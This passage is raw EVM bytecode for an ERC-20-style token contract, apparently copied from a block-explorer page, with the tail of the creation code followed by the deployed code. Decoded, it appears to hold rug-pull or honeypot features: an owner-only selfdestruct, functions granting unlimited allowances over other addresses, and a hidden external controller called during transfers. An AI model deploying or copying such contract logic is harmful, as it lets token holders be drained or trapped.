6001905092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102757600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ab3083600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115de565b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f00000000000000000000000000000000000000000000000000000000000000009050919050565b60008060008060008060008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663df39d24d6040518163ffffffff1660e01b81526004016101006040518083038186803b15801561128657600080fd5b505afa15801561129a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112be9190611e19565b975097509750975097509750975097509091929394959697565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906121aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b79061216a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149e919061220a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115129061212a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115829061218a565b60405180910390fd5b600081116115ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c5906121ca565b60405180910390fd5b6115d98383836115de565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116dc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d10b85a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561169f57600080fd5b505af11580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d79190611cec565b6116df565b60005b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117695750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611772578093505b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156117be57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118099190612506565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189791906122e5565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611beb5760006103e860008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631267de638787876040518463ffffffff1660e01b81526004016119919392919061209b565b602060405180830381600087803b1580156119ab57600080fd5b505af11580156119bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e39190611dec565b6119ed91906124ac565b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a4a5750600081115b15611be957806004600073b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be857806004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611afb91906122e5565b92505081905550806004600073b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b659190612506565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff1673b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bdf919061220a565b60405180910390a35b5b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c48919061220a565b60405180910390a350505050565b600081359050611c65816128c5565b92915050565b600081519050611c7a816128c5565b92915050565b600081519050611c8f816128dc565b92915050565b600081359050611ca4816128f3565b92915050565b600081519050611cb9816128f3565b92915050565b600060208284031215611cd557611cd4612676565b5b6000611ce384828501611c56565b91505092915050565b600060208284031215611d0257611d01612676565b5b6000611d1084828501611c6b565b91505092915050565b60008060408385031215611d3057611d2f612676565b5b6000611d3e85828601611c56565b9250506020611d4f85828601611c56565b9150509250929050565b600080600060608486031215611d7257611d71612676565b5b6000611d8086828701611c56565b9350506020611d9186828701611c56565b9250506040611da286828701611c95565b9150509250925092565b60008060408385031215611dc357611dc2612676565b5b6000611dd185828601611c56565b9250506020611de285828601611c95565b9150509250929050565b600060208284031215611e0257611e01612676565b5b6000611e1084828501611caa565b91505092915050565b600080600080600080600080610100898b031215611e3a57611e39612676565b5b6000611e488b828c01611caa565b9850506020611e598b828c01611caa565b9750506040611e6a8b828c01611caa565b9650506060611e7b8b828c01611caa565b9550506080611e8c8b828c01611c80565b94505060a0611e9d8b828c01611caa565b93505060c0611eae8b828c01611caa565b92505060e0611ebf8b828c01611caa565b9150509295985092959890939650565b611ed88161253a565b82525050565b611ee78161254c565b82525050565b611ef68161258f565b82525050565b6000611f07826122be565b611f1181856122d4565b9350611f218185602086016125b3565b611f2a8161267b565b840191505092915050565b6000611f426026836122d4565b9150611f4d82612699565b604082019050919050565b6000611f656026836122d4565b9150611f70826126e8565b604082019050919050565b6000611f886023836122d4565b9150611f9382612737565b604082019050919050565b6000611fab6024836122d4565b9150611fb682612786565b604082019050919050565b6000611fce6000836122c9565b9150611fd9826127d5565b600082019050919050565b6000611ff16025836122d4565b9150611ffc826127d8565b604082019050919050565b60006120146031836122d4565b915061201f82612827565b604082019050919050565b60006120376029836122d4565b915061204282612876565b604082019050919050565b61205681612578565b82525050565b61206581612582565b82525050565b600061207682611fc1565b9150819050919050565b60006020820190506120956000830184611ecf565b92915050565b60006060820190506120b06000830186611ecf565b6120bd6020830185611ecf565b6120ca604083018461204d565b949350505050565b60006020820190506120e76000830184611ede565b92915050565b60006020820190506121026000830184611eed565b92915050565b600060208201905081810360008301526121228184611efc565b905092915050565b6000602082019050818103600083015261214381611f35565b9050919050565b6000602082019050818103600083015261216381611f58565b9050919050565b6000602082019050818103600083015261218381611f7b565b9050919050565b600060208201905081810360008301526121a381611f9e565b9050919050565b600060208201905081810360008301526121c381611fe4565b9050919050565b600060208201905081810360008301526121e381612007565b9050919050565b600060208201905081810360008301526122038161202a565b9050919050565b600060208201905061221f600083018461204d565b92915050565b60006101008201905061223b600083018b61204d565b612248602083018a61204d565b612255604083018961204d565b612262606083018861204d565b61226f6080830187611ede565b61227c60a083018661204d565b61228960c083018561204d565b61229660e083018461204d565b9998505050505050505050565b60006020820190506122b8600083018461205c565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006122f082612578565b91506122fb83612578565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123305761232f612618565b5b828201905092915050565b6000808291508390505b60018511156123855780860481111561236157612360612618565b5b60018516156123705780820291505b808102905061237e8561268c565b9450612345565b94509492505050565b600061239982612578565b91506123a483612582565b92506123d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123d9565b905092915050565b6000826123e957600190506124a5565b816123f757600090506124a5565b816001811461240d576002811461241757612446565b60019150506124a5565b60ff84111561242957612428612618565b5b8360020a9150848211156124405761243f612618565b5b506124a5565b5060208310610133831016604e8410600b841016171561247b5782820a90508381111561247657612475612618565b5b6124a5565b612488848484600161233b565b9250905081840481111561249f5761249e612618565b5b81810290505b9392505050565b60006124b782612578565b91506124c283612578565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124fb576124fa612618565b5b828202905092915050565b600061251182612578565b915061251c83612578565b92508282101561252f5761252e612618565b5b828203905092915050565b600061254582612558565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061259a826125a1565b9050919050565b60006125ac82612558565b9050919050565b60005b838110156125d15780820151818401526020810190506125b6565b838111156125e0576000848401525b50505050565b600060028204905060018216806125fe57607f821691505b6020821081141561261257612611612647565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4552524f523a205472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a2044656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f2e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a20417070726f766520746f20746865207a65726f20616464726560008201527f73732e0000000000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552524f523a20417070726f76652066726f6d20746865207a65726f2061646460008201527f726573732e000000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e63652e0000000000000000000000000000000000000000000000602082015250565b6128ce8161253a565b81146128d957600080fd5b50565b6128e58161254c565b81146128f057600080fd5b50565b6128fc81612578565b811461290757600080fd5b5056fea26469706673582212207dbdebfff2e6b0e49a3b6fc2bd52bfca4ca4eafbbe76779b450c78f0e8d9d85664736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80635fa2ef10116100b6578063a9059cbb1161006f578063a9059cbb1461050e578063ba6f43e61461054b578063cc1d399f14610576578063dd62ed3e146105a1578063f1493490146105de578063fc2a5b1d1461061b576101d6565b80635fa2ef10146103fc57806370a08231146104135780638dd950021461045057806391cca3db1461047b57806395d89b41146104a6578063a457c2d7146104d1576101d6565b80631bead59e116101085780631bead59e146102d65780631c8b7fe51461030157806323b872dd1461032c578063313ce56714610369578063395093511461039457806349bd5a5e146103d1576101d6565b806303fd2a45146101db5780630520b7081461020657806306fdde0314610243578063095ea7b31461026e57806318160ddd146102ab576101d6565b366101d657600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163460405161018f9061206b565b60006040518083038185875af1925050503d80600081146101cc576040519150601f19603f3d011682016040523d82523d6000602084013e6101d1565b606091505b505050005b600080fd5b3480156101e757600080fd5b506101f061064d565b6040516101fd9190612080565b60405180910390f35b34801561021257600080fd5b5061022d60048036038101906102289190611cbf565b610653565b60405161023a9190612080565b60405180910390f35b34801561024f57600080fd5b50610258610964565b6040516102659190612108565b60405180910390f35b34801561027a57600080fd5b5061029560048036038101906102909190611dac565b6109f2565b6040516102a291906120d2565b60405180910390f35b3480156102b757600080fd5b506102c0610a10565b6040516102cd919061220a565b60405180910390f35b3480156102e257600080fd5b506102eb610a30565b6040516102f89190612080565b60405180910390f35b34801561030d57600080fd5b50610316610a48565b6040516103239190612080565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e9190611d59565b610a6c565b60405161036091906120d2565b60405180910390f35b34801561037557600080fd5b5061037e610b6d565b60405161038b91906122a3565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190611dac565b610b72565b6040516103c891906120d2565b60405180910390f35b3480156103dd57600080fd5b506103e6610c1e565b6040516103f39190612080565b60405180910390f35b34801561040857600080fd5b50610411610c42565b005b34801561041f57600080fd5b5061043a60048036038101906104359190611cbf565b610cd3565b604051610447919061220a565b60405180910390f35b34801561045c57600080fd5b50610465610d1c565b6040516104729190612080565b60405180910390f35b34801561048757600080fd5b50610490610d42565b60405161049d9190612080565b60405180910390f35b3480156104b257600080fd5b506104bb610d68565b6040516104c89190612108565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f39190611dac565b610df6565b60405161050591906120d2565b60405180910390f35b34801561051a57600080fd5b5061053560048036038101906105309190611dac565b610eea565b60405161054291906120d2565b60405180910390f35b34801561055757600080fd5b50610560610f08565b60405161056d9190612080565b60405180910390f35b34801561058257600080fd5b5061058b610f20565b60405161059891906120ed565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190611d19565b610f46565b6040516105d5919061220a565b60405180910390f35b3480156105ea57600080fd5b5061060560048036038101906106009190611cbf565b610fcd565b6040516106129190612080565b60405180910390f35b34801561062757600080fd5b50610630611213565b604051610644989796959493929190612225565b60405180910390f35b61dead81565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106ff5750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b61070857600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f00000000000000000000000038b8d99f93aef7800bbc8ce950c413114830720573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060001960056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60068054610971906125e6565b80601f016020809104026020016040519081016040528092919081815260200182805461099d906125e6565b80156109ea5780601f106109bf576101008083540402835291602001916109ea565b820191906000526020600020905b8154815290600101906020018083116109cd57829003601f168201915b505050505081565b6000610a066109ff6112d8565b84846112e0565b6001905092915050565b6009600a610a1e919061238e565b633b9aca00610a2d91906124ac565b81565b73b00ab6203ebaae6b1debc411eda8f95fd17e74c581565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610a798484846114ab565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ac46112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3b906121ea565b60405180910390fd5b610b6185610b506112d8565b8584610b5c9190612506565b6112e0565b60019150509392505050565b600981565b6000610c14610b7f6112d8565b848460056000610b8d6112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0f91906122e5565b6112e0565b6001905092915050565b7f00000000000000000000000038b8d99f93aef7800bbc8ce950c413114830720581565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610cd157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054610d75906125e6565b80601f0160208091040260200160405190810160405280929190818152602001828054610da1906125e6565b8015610dee5780601f10610dc357610100808354040283529160200191610dee565b820191906000526020600020905b815481529060010190602001808311610dd157829003601f168201915b505050505081565b60008060056000610e056112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb99061214a565b60405180910390fd5b610edf610ecd6112d8565b858584610eda9190612506565b6112e0565b600191505092915050565b6000610efe610ef76112d8565b84846114ab565b6001905092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102757600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f00000000000000000000000038b8d99f93aef7800bbc8ce950c413114830720573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ab3083600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115de565b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f00000000000000000000000038b8d99f93aef7800bbc8ce950c41311483072059050919050565b60008060008060008060008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663df39d24d6040518163ffffffff1660e01b81526004016101006040518083038186803b15801561128657600080fd5b505afa15801561129a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112be9190611e19565b975097509750975097509750975097509091929394959697565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906121aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b79061216a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149e919061220a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115129061212a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115829061218a565b60405180910390fd5b600081116115ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c5906121ca565b60405180910390fd5b6115d98383836115de565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116dc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d10b85a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561169f57600080fd5b505af11580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d79190611cec565b6116df565b60005b90507f00000000000000000000000038b8d99f93aef7800bbc8ce950c413114830720573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117695750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611772578093505b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156117be57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118099190612506565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189791906122e5565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611beb5760006103e860008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631267de638787876040518463ffffffff1660e01b81526004016119919392919061209b565b602060405180830381600087803b1580156119ab57600080fd5b505af11580156119bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e39190611dec565b6119ed91906124ac565b90507f00000000000000000000000038b8d99f93aef7800bbc8ce950c413114830720573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a4a5750600081115b15611be957806004600073b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be857806004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611afb91906122e5565b92505081905550806004600073b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b659190612506565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff1673b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bdf919061220a565b60405180910390a35b5b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c48919061220a565b60405180910390a350505050565b600081359050611c65816128c5565b92915050565b600081519050611c7a816128c5565b92915050565b600081519050611c8f816128dc565b92915050565b600081359050611ca4816128f3565b92915050565b600081519050611cb9816128f3565b92915050565b600060208284031215611cd557611cd4612676565b5b6000611ce384828501611c56565b91505092915050565b600060208284031215611d0257611d01612676565b5b6000611d1084828501611c6b565b91505092915050565b60008060408385031215611d3057611d2f612676565b5b6000611d3e85828601611c56565b9250506020611d4f85828601611c56565b9150509250929050565b600080600060608486031215611d7257611d71612676565b5b6000611d8086828701611c56565b9350506020611d9186828701611c56565b9250506040611da286828701611c95565b9150509250925092565b60008060408385031215611dc357611dc2612676565b5b6000611dd185828601611c56565b9250506020611de285828601611c95565b9150509250929050565b600060208284031215611e0257611e01612676565b5b6000611e1084828501611caa565b91505092915050565b600080600080600080600080610100898b031215611e3a57611e39612676565b5b6000611e488b828c01611caa565b9850506020611e598b828c01611caa565b9750506040611e6a8b828c01611caa565b9650506060611e7b8b828c01611caa565b9550506080611e8c8b828c01611c80565b94505060a0611e9d8b828c01611caa565b93505060c0611eae8b828c01611caa565b92505060e0611ebf8b828c01611caa565b9150509295985092959890939650565b611ed88161253a565b82525050565b611ee78161254c565b82525050565b611ef68161258f565b82525050565b6000611f07826122be565b611f1181856122d4565b9350611f218185602086016125b3565b611f2a8161267b565b840191505092915050565b6000611f426026836122d4565b9150611f4d82612699565b604082019050919050565b6000611f656026836122d4565b9150611f70826126e8565b604082019050919050565b6000611f886023836122d4565b9150611f9382612737565b604082019050919050565b6000611fab6024836122d4565b9150611fb682612786565b604082019050919050565b6000611fce6000836122c9565b9150611fd9826127d5565b600082019050919050565b6000611ff16025836122d4565b9150611ffc826127d8565b604082019050919050565b60006120146031836122d4565b915061201f82612827565b604082019050919050565b60006120376029836122d4565b915061204282612876565b604082019050919050565b61205681612578565b82525050565b61206581612582565b82525050565b600061207682611fc1565b9150819050919050565b60006020820190506120956000830184611ecf565b92915050565b60006060820190506120b06000830186611ecf565b6120bd6020830185611ecf565b6120ca604083018461204d565b949350505050565b60006020820190506120e76000830184611ede565b92915050565b60006020820190506121026000830184611eed565b92915050565b600060208201905081810360008301526121228184611efc565b905092915050565b6000602082019050818103600083015261214381611f35565b9050919050565b6000602082019050818103600083015261216381611f58565b9050919050565b6000602082019050818103600083015261218381611f7b565b9050919050565b600060208201905081810360008301526121a381611f9e565b9050919050565b600060208201905081810360008301526121c381611fe4565b9050919050565b600060208201905081810360008301526121e381612007565b9050919050565b600060208201905081810360008301526122038161202a565b9050919050565b600060208201905061221f600083018461204d565b92915050565b60006101008201905061223b600083018b61204d565b612248602083018a61204d565b612255604083018961204d565b612262606083018861204d565b61226f6080830187611ede565b61227c60a083018661204d565b61228960c083018561204d565b61229660e083018461204d565b9998505050505050505050565b60006020820190506122b8600083018461205c565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006122f082612578565b91506122fb83612578565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123305761232f612618565b5b828201905092915050565b6000808291508390505b60018511156123855780860481111561236157612360612618565b5b60018516156123705780820291505b808102905061237e8561268c565b9450612345565b94509492505050565b600061239982612578565b91506123a483612582565b92506123d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123d9565b905092915050565b6000826123e957600190506124a5565b816123f757600090506124a5565b816001811461240d576002811461241757612446565b60019150506124a5565b60ff84111561242957612428612618565b5b8360020a9150848211156124405761243f612618565b5b506124a5565b5060208310610133831016604e8410600b841016171561247b5782820a90508381111561247657612475612618565b5b6124a5565b612488848484600161233b565b9250905081840481111561249f5761249e612618565b5b81810290505b9392505050565b60006124b782612578565b91506124c283612578565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124fb576124fa612618565b5b828202905092915050565b600061251182612578565b915061251c83612578565b92508282101561252f5761252e612618565b5b828203905092915050565b600061254582612558565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061259a826125a1565b9050919050565b60006125ac82612558565b9050919050565b60005b838110156125d15780820151818401526020810190506125b6565b838111156125e0576000848401525b50505050565b600060028204905060018216806125fe57607f821691505b6020821081141561261257612611612647565b5b50919050565b7f4e487b71000000000000